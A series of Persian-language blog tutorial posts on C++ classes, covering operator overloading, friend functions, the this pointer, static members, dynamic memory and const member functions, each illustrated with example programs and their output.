و برای گرانبار کردن يک عملگر يگانی به صورت تابع دوست ، به شيوه زير آن را تعريف می کنيم:

class نام کلاس{
friend نوع خروجی عملگر oprerator علامت عملگر
(const نام کلاس &);
...
}

 
comment نظرات ()
 
 
قسمت پنجاه و هفتم
نویسنده : Hossein - ساعت ۱۱:۳۳ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

گرانبار کردن عملگر های >> و <<

++C قادر به دريافت داده های تعريف شده در اين زبان و ارسال آنها به خروجی می باشد و برای اينکار از عملگر های >> و << استفاده می کند. اين عملگر ها برای انواع داده ای موجود در اين زبان گرانبار شده اند. ما نيز می توانيم اين عملگر ها را برای انواع داده و کلاسهايی که خودمان ايجاد کرده ايم، گرانبار کنيم. در برنامه زير کلاسی با نام phoneNumber که شماره تلفن را در خود نگهداری می کند ايجاد شده است. در اين برنامه توسط عملگر << يک شماره تلفن از ورودی دريافت می شود و توسط عملگر >> اين شماره در صفحه نمايش چاپ می گردد. به اين برنامه توجه کنيد:

#include <iostream.h>

class PhoneNumber {
friend ostream &operator<<
( ostream&, const PhoneNumber & );
friend istream &operator>>
( istream&, PhoneNumber & );

private:
char areaCode[ 4 ]; // 3-digit area code and null
char exchange[ 4 ]; // 3-digit exchange and null
char line[ 5 ]; // 4-digit line and null
};

ostream &operator<<
( ostream &output, const PhoneNumber &num )
{
output << num.areaCode << " "
<< num.exchange << " " << num.line;

return output; // enables cout << a << b << c;
}

istream &operator>>
( istream &input, PhoneNumber &num )
{
input >> num.areaCode; // input area code
input >> num.exchange; // input exchange
input >> num.line; // input line

return input; // enables cin >> a >> b >> c;
}

int main()
{
PhoneNumber phone;

cout << "Enter phone number in the form "
<< "123 456 7890:\n";

cin >> phone;

cout << "The phone number entered was: ";

cout << phone << endl;

return 0;
}

خروجی برنامه به صورت زير می باشد :

Enter phone number in the form 123 456 7890:
021 224 5348
The phone number entered was: 021 224 5348

همانطور که در برنامه فوق می بينيد توابع عملگرهای >> و << از نوع توابع دوست تعريف شده اند. چون عملگر >> دارای يک عملوند سمت چپ از نوع ostream & می باشد مانند cout در دستور cout<<classObject و نيز عملگر << دارای يک عملوند سمت چپ از نوعistream & می باشد مانند cin در دستور cin>>classObject. همچنين اين توابع گرانبار شده بايد به اعضای داده شيئی که بايد از ورودی دريافت و در خروجی چاپ شود، دسترسی داشته باشند. به دلايل ذکر شده اين توابع از نوع توابع عملگر دوست تعريف شده اند.

تابع عملگر operator>> يک آرگومان از نوع istream با نام input و آرگومان ديگری از نوع کلاس phoneNumber با نام num در يافت می کند و خروجی تابع از نوع istream می باشد. اين تابع شماره تلفن هايی به صورت

800 555 1212

را از ورودی دريافت کرده و آنها را در شيئی از نوع کلاس phoneNumber قرار می دهد. هنگامی که کامپايلر دستور زير را می بيند:

cin>>phone;

تابع operator>> به صورت زير توليد می شود:

operator>>(cin,phone);

هنگامی که تابع فوق توليد شد، آرگومان ارجاعی input نام مستعار cin و آرگومان ارجاعی num نام مستعاری برای phone در نظر گرفته می شوند. بدين ترتيب سه رشته دريافت شده از ورودی در اعضای areacode ، exchange و line قرار می گيرند.

تابع عملگر operator<< يک آرگومان از نوع ostream با نام output و آرگومان ديگری از نوع کلاس phoneNumber با نام num در يافت می کند و خروجی تابع از نوع ostream می باشد. اين تابع شماره تلفن هايی به صورت

800 555 1212

را که شيئی از نوع کلاس phoneNumber می باشد، نمايش می دهد. هنگامی که کامپايلر دستور زير را می بيند:

cout<<phone;

تابع operator<< به صورت زير توليد می شود:

operator<<(cout,phone);

هنگامی که تابع فوق توليد شد، آرگومان ارجاعی output نام مستعار cout و آرگومان ارجاعی num نام مستعاری برای phone در نظر گرفته می شوند. بدين ترتيب سه رشته موجود در اعضای areacode ، exchange و line به شيوه مورد نظر نمايش می يابند.


 
comment نظرات ()
 
 
قسمت پنجاه و ششم
نویسنده : Hossein - ساعت ۱۱:۳۱ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

توابع عملگر به عنوان اعضای کلاس يا توابع دوست

توابع عملگر می توانند توابع عضو يا توابع غير عضو باشند، که البته توابع غير عضو معمولا به صورت توابع دوست می باشند. هنگام فراخوانی يک تابع عملگر غير عضو ، عملوند ها بايد به عنوان آرگومان به تابع فرستاده شوند.

هنگام گرانبار کردن عملگر های () ، [] و <- يا هر عملگر انتساب ديگری، تابع گرانبار کننده عملگر بايد به عنوان يک تابع عضو تعريف شود ولی برای ساير عملگرها، تابع گرانبار کننده عملگر می تواند به صورت تابع غير عضو تعريف شود.

هنگامی که يک تابع عملگر به عنوان يک تابع عضو تعريف می شود، عملوند سمت چپ بايد شيئی از کلاس عملگر باشدو اگر لازم است که عملوند سمت چپ شيئی از کلاس ديگری باشد، اين تابع عملگر بايد از نوع تابع غير عضو تعريف شود. تابع عملگر غير عضو در صورتی که بايد به يک عضو خصوصی (private) کلاس دسترسی داشته باشد، بايد از نوع توابع دوست (friend) تعريف گردد.

تابع عملگر عضو کلاس تنها هنگامی فراخوانی می شود که عملوند سمت چپ عملگر دودويی (دو عملوندی) شيئی از نوع کلاس تابع عملگر باشد و يا تنها عملوند عملگر يگانی (تک عملوندی) شيئی از نوع کلاس عملگر باشد.

دليل ديگری که ممکن است يک تابع غير عضو برای گرانبار کردن يک عملگر به کار رود اينست که بخواهيم عملگر خاصيت جابجايی داشته باشد. به عنوان مثال فرض کنيد متغيری به نام number از نوع long int داريم و شيئی با نام bigInteger1 از نوع کلاس HugeInteger (کلاسی که در آن اعداد صحيح می توانند مقادير خيلی بزرگتری نسبت به مقاديرقابل ايجاد توسط انواعی مانند long int و double داشته باشند). عملگر جمع (+) هنگام جمع يک عدد HugeInteger با يک عدد long int (مثلا در عبارت bigInteger1+number) و يا جمع يک عدد long int با يک عدد HugeInteger (مثلا در عبارت number+bigInteger1) ، شيئی موقت از نوع کلاس HugeInteger ايجاد می کند، لذا اين عملگر بايد خاصيت جابجايی داشته باشد (که معمولا عملگر جمع در عبارات محاسباتی دارای خاصيت جابجايی می باشد). در اينجا اگر عملگر جمع به صورت تابع عضو تعريف گردد، در سمت چپ آن تنها بايد شيئی از کلاس HugeInteger قرار گيرد، لذا امکان ايجاد خاصيت جابجايی در اين حالت ميسر نمی باشد، به همين دليل اين عملگر را به صورت تابع غير عضو گرانبار می کنيم تا بتوانيم خاصطت جا بجايی را به آن بدهيم.

در زير برنامه ای آورده شده است که عمل جمع و تفريق را برای نقاط صفحه مختصات انجام می دهد. در اين برنامه عملگر تفريق به صورت تابع غير عضو دوست تعريف شده است و عملگر جمع به صورت تابع عضو تعريف شده است:

#include <iostream.h>

class CVector
{
friend CVector operator- (CVector & , CVector);

public:
CVector (int =0 ,int =0 );
CVector operator+ (CVector);
void showCVector(void);
private:
int x,y;
};

CVector::CVector (int a, int b)
{
x = a;
y = b;
}

void CVector::showCVector(void)
{
cout << "("<< x << "," << y << ")";
}

CVector CVector::operator+ (CVector vector)
{
CVector temp;
temp.x = x + vector.x;
temp.y = y + vector.y;
return temp;
}

CVector operator- (CVector &v, CVector vector)
{
CVector temp;
temp.x = v.x - vector.x;
temp.y = v.y - vector.y;
return temp;
}
int main ()
{
CVector a (3,1);
CVector b (1,2);
CVector c,d;
c = a + b;
a.showCVector();
cout << "+";
b.showCVector();
cout << "=";
c.showCVector();

cout << "\n";

d = a - b;
a.showCVector();
cout << "-";
b.showCVector();
cout << "=";
d.showCVector();
return 0;
}

خروجی برنامه به صورت زير می باشد :

(3,1)+(1,2)=(4,3)
(3,1)-(1,2)=(2,-1)

 
comment نظرات ()
 
 
قسمت پنجاه و پنجم
نویسنده : Hossein - ساعت ۱۱:٢٩ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

محدوديت های گرانبار کردن عملگر ها

اکثر عملگر های ++C را می توان گرانبار کرد. جدول اين عملگرها به صورت زير می باشد:

[ ] ( )
->
++ -- & *
+ - ~ !
->* / % <<
>> < > <=
>= == != ^
| && ||
= *= /= %=
+= -= <<= >>=
&= ^= |= ,
new delete new[] delete[]

عملگرهايی که قابليت گرانبار شدن را ندارند، در جدول زير ذکر شده اند:

. .* :: ?: sizeof

 
comment نظرات ()
 
 
قسمت پنجاه و چهارم
نویسنده : Hossein - ساعت ۱۱:٢٧ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

مبانی گرانبار کردن عملگرها

در مباحث قبلی دیدید که برای کار با اشیای یک کلاس، شیوه فراخوانی توابع عضو را به کار بردیم. به عنوان مثال توسط یک تابع عضو، اعضای یک کلاس را مقداردهی کردیم و یا توسط تابع عضو دیگری مقدار عضو یک کلاس را نمایش دادیم. این کار برای برخی از کلاسها، خصوصا کلاسهای ریاضی دشوار می باشد. برای این کار می توان از مجموعه عملگرهای زبان C++ استفاده کرد، البته برای به کار بردن عملگرهای زبان C++ برای کلاسهایی که ما می سازیم، این عملگرها باید آماده سازی شوند. به این کار گرانبار کردن عملگرها گفته می شود. به عنوان مثال عملگرهای + یا - در زبان C++ گرانبار شده اند. این عملگرها با توجه به نوع عملوندهای خود که اعداد صحیح یا اعشاری می باشند، به شیوه متفاوتی عمل می کنند.

گرچه C++ اجازه ایجاد عملگر جدیدی را به ما نمی دهد، ولی برنامه نویسان را قادر می سازد تا اکثر عملگرهای این زبان را برای جایی که می خواهند آنها را به کار ببرند، گرانبار کنند. در حالتی که عملگری گرانبار شده باشد، با توجه به جایی که این عملگر به کار رفته، کامپایلر کد مرتبط به آن را به صورت خودکار تولید می کند. ضمنا کاری که توسط عملگرها انجام می شود، توابع نیز می توانند انجام دهند. ولی معمولا عملگرها وضوح برنامه را بیشتر می کنند.

برای گرانبار کردن يک عملگر کافی است يک تابع برای آن تعريف کنيد ، البته نام تابع بايد متشکل از کلمه operator و نماد عملگر مورد نظر باشد. به عنوان مثال نام تابعی که عملگر + را گرانبار می کند بايد +operator باشد. در برنامه زير عملگر + را برای محاسبه مجموع دو نقطه مختصات گرانبار کرده ايم:

#include <iostream.h>

class CVector
{
public:
CVector (int =0 ,int =0 );
CVector operator+ (CVector);
void showCVector(void);
private:
int x,y;
};

CVector::CVector (int a, int b)
{
x = a;
y = b;
}

CVector CVector::operator+ (CVector vector)
{
CVector temp;
temp.x = x + vector.x;
temp.y = y + vector.y;
return temp;
}

void CVector::showCVector(void)
{
cout << "("<< x << "," << y << ")";
}

int main ()
{
CVector a (3,1);
CVector b (1,2);
CVector c;
c = a + b;
a.showCVector();
cout << "+";
b.showCVector();
cout << "=";
c.showCVector();
return 0;
}

خروجی برنامه به صورت زير می باشد :

(3,1)+(1,2)=(4,3)

 
comment نظرات ()
 
 
قسمت پنجاه و سوم
نویسنده : Hossein - ساعت ۱۱:۱٥ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

اعضای ایستای کلاس

همان طور که می دانید متغیری که در یک تابع از نوع static تعریف می شد، هنگام خروج از تابع از بین نمی رفت و مقدار خود را خفظ می کرد و با فراخوانی مجدد تابع قابل دسترسی بود. در کلاسها نیز می توان اعضا را به صورت ایستا (static) تعریف کرد. چنین عضوی که به صورت ایستا تعریف می شود، برای همه اشیایی که از نوع آن کلاس تعریف می شوند، به صورت مشترک قابل دسترسی است و هنگامی که مقدار این عضو در یکی از این اشیا تغییر می کند مقدار جدید در سایر اشیا از نوع آن کلاس نیز قابل استفاده می باشد. چنین عضوی ممکن است مانند متغیر عمومی به نظر آید، اما این عضو دارای حوزه کلاس می باشد و مانند متغیر عمومی دارای حوزه فایل نیست. اعضای ایستای یک کلاس می توانند از نوع public ویا private باشند. همچنین اعضای ایستا از طریق توابع عضو کلاس و یا توابع دوست یک کلاس قابل دسترسی می باشند. ضمنا به اعضای ایستایی که به صورت عمومی تعریف شده اند، می توان مستقیما از طریق عملگر (::) دسترسی یافت.

برای آشنایی با نحوه به کار گیری اعضای ایستای کلاس و نیز مدیریت حافظه پویا به برنامه زیر توجه کنید:

#include <iostream.h>
#include <new.h>
#include <string.h>

class Employee {
public:
Employee( const char *, const char * );
~Employee();
const char *getFirstName() const;
const char *getLastName() const;

// static member function
static int getCount();

private:
char *firstName;
char *lastName;

// static data member
static int count;
};

int Employee::count = 0;

int Employee::getCount()
{
return count;
}

// constructor dynamically allocates space for
// first and last name and uses strcpy to copy
// first and last names into the object
Employee::Employee(const char *first,const char *last)
{
firstName = new char[ strlen( first ) + 1 ];
strcpy( firstName, first );

lastName = new char[ strlen( last ) + 1 ];
strcpy( lastName, last );

++count; // increment static count of employees

cout << "Employee constructor for " << firstName
<< ' ' << lastName << " called." << endl;
}

// destructor deallocates dynamically allocated memory
Employee::~Employee()
{
cout << "~Employee() called for " << firstName
<< ' ' << lastName << endl;

delete [] firstName; // recapture memory
delete [] lastName; // recapture memory

--count; // decrement static count of employees
}

const char *Employee::getFirstName() const
{
return firstName;
}

const char *Employee::getLastName() const
{
return lastName;
}

int main()
{
cout <<"Number of employees before instantiation is "
<<Employee::getCount() << endl;

Employee *e1Ptr = new Employee( "Susan", "Baker" );
Employee *e2Ptr = new Employee( "Robert", "Jones" );

cout << "Number of employees after instantiation is "
<< e1Ptr->getCount();

cout << "\n\nEmployee 1: "
<< e1Ptr->getFirstName()
<< " " << e1Ptr->getLastName()
<< "\nEmployee 2: "
<< e2Ptr->getFirstName()
<< " " << e2Ptr->getLastName() << "\n\n";

delete e1Ptr; //recapture memory
e1Ptr = 0; //disconnect pointer from free-store space
delete e2Ptr; //recapture memory
e2Ptr = 0; //disconnect pointer from free-store space

cout << "Number of employees after deletion is "
<< Employee::getCount() << endl;

return 0;
}

خروجی برنامه فوق به صورت زير می باشد:

Number of employees before instantiation is 0
Employee constructor for Susan Baker called.
Employee constructor for Robert Jones called.
Number of employees after instantiation is 2

Employee 1: Susan Baker
Employee 2: Robert Jones

~Employee() called for Susan Baker
~Employee() called for Robert Jones
Number of employees after deletion is 0

در برنامه بالا عضو داده خصوصی count و تابع عضو عمومی getCount به صورت ایستا (static) در کلاس Employee تعریف شدند، و توسط دستور زیر:

int Employee::count = 0;

عضو داده خصوصی count از کلاس Employee مقداردهی اولیه شد. count تعداد اشیای ایجاد شده از کلاس Employee را می شمارد و در خود نگهداری می کند. هر بار که یک شی جدید از نوع کلاس Employee ایجاد می شود توسط ستور count++ در سازنده کلاس count ، Employee مقدارش یک واحد افزایش می یابد و هر بار که یک شی از نوع کلاس Employee نابود می شود، توسط دستور count-- در نابود کننده کلاس count ، Employee مقدارش یک واحد کاهش می یابد.

دستورات زیر دو شی از نوع  Employee را توسط عملگر new ایجاد می کنند و اشاره گر به حافظه تخصیص یافتهبه این دو شی به ترتیب در e1Ptr و e2Ptr قرار می گیرد:

  Employee *e1Ptr = new Employee( "Susan", "Baker" );
Employee *e2Ptr = new Employee( "Robert", "Jones" );

همچین دستورات زیر حافظه تخصیص یافته به دو شی از نوع  کلاس Employee را آزاد می سازند:

  delete e1Ptr; //recapture memory
e1Ptr = 0; //disconnect pointer from free-store space
delete e2Ptr; //recapture memory
e2Ptr = 0; //disconnect pointer from free-store space

توجه داشته باشید، هنگامی که هنوز شیئی از نوع  کلاس Employee ساخته نشده است ولی اعضای getCount و count از این کلاس موجود می باشد و می توان به مقدار count از طریق تابع عضو getCount دسترسی پیدا کرد در برنامه فوق دستور زیر این کار را انجام می دهد:

Employee::getCount()

 
comment نظرات ()
 
 
قسمت پنجاه و دوم
نویسنده : Hossein - ساعت ۱۱:۱۱ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

مدیریت حافظه پویا

++c برنامه نویسان را قادر می سازد تا تخصیص حافظه و یا آزادسازی حافظه را برای هر نوع داده ای در برنامه مدیریت و کنترل کنند. این قابلیت، مدیریت حافظه پویا نامیده می شود و توسط عملگرهای new و delete صورت می  پذیرد. دو عملگر مذکور در فایل new.h قرار دارند. لذا برای به کارگیری این دو عملگر باید از دستور #include <new.h> در برنامه استفاده کنیم. دستورات زیر را در نظر بگیرید:

Time *timePtr;
timePtr = new Time;

عملگر new در دستورات فوق شیئی را با اندازه داده ای از نوع Time می سازد و سازنده این شیء را فراخوانی کرده و یک اشاره گر از نوع داده قرار گرفته در سمت راست عملگر new برمی گرداند. توجه داشته باشید که عملگر new برای هر نوع داده ای (مانند double و int و ...) و یا کلاسها می تواند به کار رود. اگر new نتواند فضای خالی برای شیء در حافظه بیابد، یک اشاره گر0 را باز می گرداند. برای نابودسازی شیئی که به صورت پویا برای آن حافظه تخصیص داده شده، از عملگر delete به صورت زیر استفاده می کنیم:

delete timePtr;

دستور فوق ابتدا نابودکننده شیء را که timePtr به آن اشاره می کند، فراخوانی کرده؛ سپس حافظه اختصاص داده شده به شیء را آزاد می سازد و حافظه برای تخصیص به شیء دیگری آماده می شود.

++c اجازه مقداردهی اولیه را همزمان با تخصیص حافظه پویا به یک شیء می دهد. به دستور زیر توجه کنید:

double *ptr=new double(3.14159);

دستور فوق حافظه تخصیص داده شده به داده ای از نوع double را با 3.14159 مقداردهی می کندو اشاره گر به آن را در Ptr قرار می دهد. روش مشابه دستور فوق می تواند برای آرگومانهای تابع سازنده یک شیء به کار رود. به دستور زیر توجه کنید:

Time *timePtr= new Time(12,0,0);

دستور فوق حافظه تخصیص داده شده به شیئی از نوع کلاس Time را با 12 ظهر مقداردهی کرده و اشاره گر با آن را در timePtr قرار می دهد.

عملگر new امکان تخصیص حافظه پویا برای آرایه ها را نیز فراهم می سازد.  به عنوان مثال برای یک آرایه 10 عنصری از نوع عدد صحیح توسط دستور زیر حافظه پویا تخصیص می یابد:

int *gradesArray=new int[10];

در دستور فوق اشاره گر به اولین عنصر در حافظه پویای تخصیص یافته به آرایه 10  عنصری از نوع عدد صحیح در اشاره گر gradesArray قرار می گیرد.

برای آزادسازی حافظه تخصیص داده شده به آرایه ها از دستور زیر می توان استفاده کرد:

delete [] gradesArray;

نکته: توجه داشته باشید که برای آزادسازی خانه های حافظه تخصیص یافته به یک آرایه از [] delete استفاده نمایید و delete را به تنهایی به کار نبرید.


 
comment نظرات ()
 
 
قسمت پنجاه و یکم
نویسنده : Hossein - ساعت ۱۱:٠۸ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

اشاره گر this

در ++C کلمه کليدی this همراه با کلاس ها وجود دارد. هر شیء از طريق اشاره گری به نام this به آدرس خود دسترسی دارد. از اين اشاره گر می توان برای بررسی اينکه آيا آرگومان ارسال شده به تابع عضو يک شیء، خود شیء می باشد يا خير ، استفاده کرد. به برنامه زير توجه نماييد:

#include <iostream.h>

class CDummy {
public:
int isitme (CDummy& param);
};

int CDummy::isitme (CDummy& param)
{
if (&param == this) return 1;
else return 0;
}

int main () {
CDummy a;
CDummy* b = &a;
if ( b->isitme(a) )
cout << "yes, &a is b";
return 0;
}

خروجی برنامه فوق به صورت زير می باشد:

yes, &a is b

 
comment نظرات ()
 
 
قسمت پنجاه ام
نویسنده : Hossein - ساعت ۱۱:٠٤ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

توابع دوست و کلاس های دوست

تابع دوست يک کلاس در خارج از حوزه آن کلاس تعريف می شود اما همچنان به اعضای غير عمومی آن کلاس دسترسی دارد. توابع تنها (توابعی که عضو کلاسی نمی باشند) و يا توابع عضو يک کلاس می توانند به عنوان دوست کلاس ديگری تعريف گردند. برای تعريف يک تابع به عنوان دوست يک کلاس، پيش تعريف تابع را در آن کلاس به همراه کلمه friend می آوريم.

class Count{
friend void setX(Count & , int);
int x;
}

در دستور فوق تابع setX به عنوان دوست کلاس Count در نظر گرفته می شود. برای اينکه تمام توابع عضو کلاسی با نام classTwo به عنوان توابع دوست کلاس ديگری با نام classOne در نظر گرفته شوند. دستور زير را در تعريف کلاس classOne می آوريم:

friend class classTwo;

در برنامه زير تابع setX به عنوان دوست کلاس Count در نظر گرفته شده است لذا اجازه دستيابی به عضو داده x از کلاس Count را دارا می باشد. ضمنا بهتر است که توابع دوست در ابتدای تعريف اعضای کلاس ، تعريف گردند.

#include <iostream.h>

class Count {
friend void setX( Count &, int );

public:
Count(): x( 0 ) // initialize x to 0
{
// empty body
}

void print() const
{
cout << x << endl;
}

private:
int x;
};

void setX( Count &c, int val )
{
c.x = val; // legal: setX is a friend of Count
}

void main()
{
Count counter;

cout << "counter.x after instantiation: ";
counter.print();

setX( counter, 8 ); // set x with a friend

cout << "counter.x after call"
<<"to setX friend function: ";
counter.print();
}

خروجی برنامه فوق به صورت زير می باشد:

counter.x after instantiation: 0
counter.x after call to setX friend function: 8

در برنامه فوق توابع عضو کلاس Count در داخل کلاس تعريف شده اند. همچنين عضو داده خصوصی x ، توسط دستور زير با عدد 0 مقدار دهی اوليه شده است.

Count(): x( 0 )

 
comment نظرات ()
 
 
قسمت چهل و نهم
نویسنده : Hossein - ساعت ۱۱:٠٢ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ترکيب : اشياء به عنوان اعضای کلاس ها

شيء AlarmClock (زنگ ساعت) بايد بداند که چه وقت به صدا در آيد، پس بهتر است شيئی از نوع Time را به عنوان يکی از اعضای خود داشته باشد. چنين قابليتی در کلاس ها ترکيب ناميده می شود. يعنی يک کلاس می تواند کلاس يا کلاسهای ديگری را به عنوان يکی از اعضای خود داشته باشد.

با روش ارسال آرگومانها به تابع سازنده هنگام ايجاد شیء آشنا می باشيم. در اين مبحث روش ارسال آرگومان به تابع سازنده شیء عضو کلاس و مقدار دهی اوليه به آن را بررسی می کنيم. برای آشنايی با اين روش به برنامه زير توجه کنيد:

#include <iostream.h>
#include <string.h>

class Date {

public:
Date( int = 1, int = 1, int = 1900 );
void print() const;
~Date();

private:
int month; // 1-12 (January-December)
int day; // 1-31 based on month
int year; // any year

int checkDay( int ) const;
};

Date::Date( int mn, int dy, int yr )
{
if ( mn > 0 && mn <= 12 )
month = mn;
else {
month = 1;
cout << "Month " << mn
<< " invalid. Set to month 1.\n";
}

year = yr;
day = checkDay( dy );

cout << "Date object constructor for date ";
print();
cout << endl;
}


void Date::print() const
{
cout << month << '/' << day << '/' << year;
}

Date::~Date()
{
cout << "Date object destructor for date ";
print();
cout << endl;
}

int Date::checkDay( int testDay ) const
{
static const int daysPerMonth[ 13 ] =
{ 0,31,28,31,30,31,30,31,31,30,31,30,31 };


if ( testDay > 0 && testDay <= daysPerMonth[ month ] )
return testDay;

if ( month == 2 && testDay == 29 &&
( year % 400 == 0 ||
( year % 4 == 0 && year % 100 != 0 ) ) )
return testDay;

cout << "Day " << testDay
<< " invalid. Set to day 1.\n";

return 1;
}

class Employee {

public:
Employee(const char *, const char *,
const Date &, const Date & );

void print() const;
~Employee();

private:
char firstName[ 25 ];
char lastName[ 25 ];
const Date birthDate; //composition: member object
const Date hireDate; //composition: member object
};


Employee::Employee(const char *first, const char *last,
const Date &dateOfBirth, const Date &dateOfHire )
: birthDate( dateOfBirth ),
hireDate( dateOfHire )
{
int length = strlen( first );
length = ( length < 25 ? length : 24 );
strncpy( firstName, first, length );
firstName[ length ] = '\0';

length = strlen( last );
length = ( length < 25 ? length : 24 );
strncpy( lastName, last, length );
lastName[ length ] = '\0';

cout << "Employee object constructor: "
<< firstName << ' ' << lastName << endl;
}

void Employee::print() const
{
cout << lastName << ", " << firstName << "\nHired: ";
hireDate.print();
cout << " Birth date: ";
birthDate.print();
cout << endl;
}

Employee::~Employee()
{
cout << "Employee object destructor: "
<< lastName << ", " << firstName << endl;
}


int main()
{
Date birth( 7, 24, 1949 );
Date hire( 3, 12, 1988 );
Employee manager( "Bob", "Jones", birth, hire );

cout << '\n';
manager.print();

cout << "\nTest Date constructor "
<<"with invalid values:\n";
Date lastDayOff(14,35,1994); //invalid month and day
cout << endl;

return 0;
}

خروجی برنامه فوق به صورت زير می باشد:

Date object constructor for date 7/24/1949
Date object constructor for date 3/12/1988
Employee object constructor: Bob Jones

Jones, Bob
Hired: 3/12/1988 Birth date: 7/24/1949

Test Date constructor with invalid values:
Month 14 invalid. Set to month 1.
Day 35 invalid. Set to day 1.
Date object constructor for date 1/1/1994

Date object destructor for date 1/1/1994
Employee object destructor: Jones, Bob
Date object destructor for date 3/12/1988
Date object destructor for date 7/24/1949
Date object destructor for date 3/12/1988
Date object destructor for date 7/24/1949

در برنامه فوق دو کلاس Date و Employee ايجاد شده است. کلاس Employee  دارای چهار عضو داده خصوصی به نامهای firstName و lastName و birthDate و hireDate می باشد. اعضای birthDate و hireDate خود اشياء ثابتی از نوع کلاس  Date می باشند که دارای اعضای داده خصوصی month و day و year هستند. تعريف تابع سازنده کلاس Employee مشخص می کند که سازنده چهار آرگومان fname و lname و  dateOfBirth و dateOfHire را دريافت می کند. دو آرگومان اول اعضای firstName و lastName  را مقدار دهی می کنند. دو آرگومان بعدی يعنی dateOfBirth و dateOfHire توسط birthDate و hireDate که اشيايی از نوع کلاس Date می باشند به سازنده های اين اشياء ارسال می گردند و اين دو شیء را مقدار دهی اوليه می کنند.

Employee::Employee(const char *first, const char *last,
const Date &dateOfBirth, const Date &dateOfHire )
: birthDate( dateOfBirth ),
hireDate( dateOfHire )

همانطور که در دستور فوق می بينيد بعد از ليست آرگومانها علامت ( : ) قرار گرفته است و بعد از آن نام دو شیء عضو کلاس Employee که از نوع کلاس Date می باشند، قرار دارد. اين روش برای مقدار دهی اوليه به اشياء عضو يک کلاس از طريق آرگومانهای کلاس اصلی، مورد استفاده قرار می گيرد.

نکته:تابع عضو print از کلاس Date ، در تابع سازنده اين کلاس بدون هيچ آرگومانی فراخوانی شده است. اين کار در ++C بسيار مرسوم است. در اينجا در تابع print مشخص شده است که کدام يک از اعضای کلاس بايد چاپ شود، و نيازی به دريافت آرگومان ندارد.


 
comment نظرات ()
 
 
قسمت چهل و هشتم
نویسنده : Hossein - ساعت ۱٠:٥٢ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

اشياء ثابت و توابع عضو ثابت

همانطور که می دانيد کلمه const از تغيير بر روی متغيری که بعد از اين کلمه قرار می گيرد جلوگيری می کند. برای ايجاد يک شیء ثابت و غير قابل تغييرنيز می توان از const استفاده کرد.

const Time noon(12, 0, 0);

دستور فوق شيء ثابتی از نوع Time با نام noon ايجاد می کند و با 12 ظهر آنرا مقدار دهی می کند که اين مقدار قابل تغيير نمی باشد.

کامپايلر ++C اجازه فراخوانی توابع عضو را برای اشياء ثابت نمی دهد مگر اينکه توابع عضو نيز خودشان به صورت const تعريف شده باشند. برای اينکه تابع عضوی به صورت const تعريف شود، بايد هم در پيش تعريف تابع و هم در تعريف تابع از کلمه const بعد از ليست آرگومان های تابع استفاده کنيم.

int Time::getHour() const
{
return hour;
}

دستور فوق تابع عضو getHour از کلاس Time را به صورت ثابت تعريف می کند.

نکته:

  1. تابع عضوی که يک عضو داده از شيئی را تغيير می دهد، اگر به صورت ثابت تعريف شود، باعث وقوع  خطا می گردد.

  2. تابع عضوی که تابع عضو غير ثابت ديگری را فراخوانی می کند،  اگر به صورت ثابت تعريف شود، باعث وقوع  خطا می گردد.

  3. فراخوانی يک تابع عضو غير ثابت از شيئی که به صورت ثابت تعريف شده است، باعث ايجاد خطا می گردد.

  4. يک تابع عضو غير ثابت را می توان با نسخه غير ثابتی از آن گرانبار نمود. اينکه کدام تابع عضو گرانبار شده فراخوانی شود، توسط کامپايلر و بر اساس ثابت بودن يا نبودن شیء تعيين می گردد.

  5. توجه داشته باشيد از آنجا که سازنده ها و نابود کننده ها نياز به تغيير اشياء دارند نبايد آنها را به صورت ثابت تعريف نمود و اگر کلمه const  برای آنها به کار رود و به صورت ثابت تعريفشان کنيم يک پيغام خطا دريافت خواهيم کرد.

  6. سازنده ها در اشياء ثابت می توانند تابع عضو غير ثابتی را فراخوانی کنند.

در برنامه زير دو شیء نوع Time ايجاد شده اند که يکی ثابت و ديگری غير ثابت می باشد. در اين برنامه تابع عضو setHour و تابع عضو printStandard که به صورت توابع عضو غير ثابت می باشند، هنگام فراخوانی همانطور که در نکته 2 ذکر شد باعث وقوع خطا می گردند. برنامه زير نکات گفته شده در اين مبحث را روشن می سازد:

#include <iostream.h>

class Time {
public:
Time( int = 0, int = 0, int = 0);
void setTime( int, int, int );

void setHour( int );
void setMinute( int );
void setSecond( int );

int getHour() const;
int getMinute() const;
int getSecond() const;

void printUniversal() const;
void printStandard();

private:
int hour; // 0 - 23 (24-hour clock format)
int minute; // 0 - 59
int second; // 0 - 59
}

Time::Time( int hour, int minute, int second )
{
setTime( hour, minute, second );
}

void Time::setTime( int hour, int minute, int second )
{
setHour( hour );
setMinute( minute );
setSecond( second );
}

void Time::setHour( int h )
{
hour = ( h >= 0 && h < 24 ) ? h : 0;
}

void Time::setMinute( int m )
{
minute = ( m >= 0 && m < 60 ) ? m : 0;
}

void Time::setSecond( int s )
{
second = ( s >= 0 && s < 60 ) ? s : 0;
}

int Time::getHour() const
{
return hour;
}

int Time::getMinute() const
{
return minute;
}

int Time::getSecond() const
{
return second;
}

void Time::printUniversal() const
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}

void Time::printStandard()
{
cout << ( ( hour == 0 || hour == 12 ) ?
12 : hour % 12 ) << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second
<< (hour < 12 ? " AM" : " PM" );
}

int main()
{
Time wakeUp( 6, 45, 0 ); // non-constant object
const Time noon( 12, 0, 0 ); // constant object

// OBJECT MEMBER FUNCTION
wakeUp.setHour( 18 ); // non-const non-const

noon.setHour( 12 ); // const non-const

wakeUp.getHour(); // non-const const

noon.getMinute(); // const const
noon.printUniversal(); // const const

noon.printStandard(); // const non-const

return 0;
}

پيغام های خطای برنامه فوق به صورت زير می باشد:

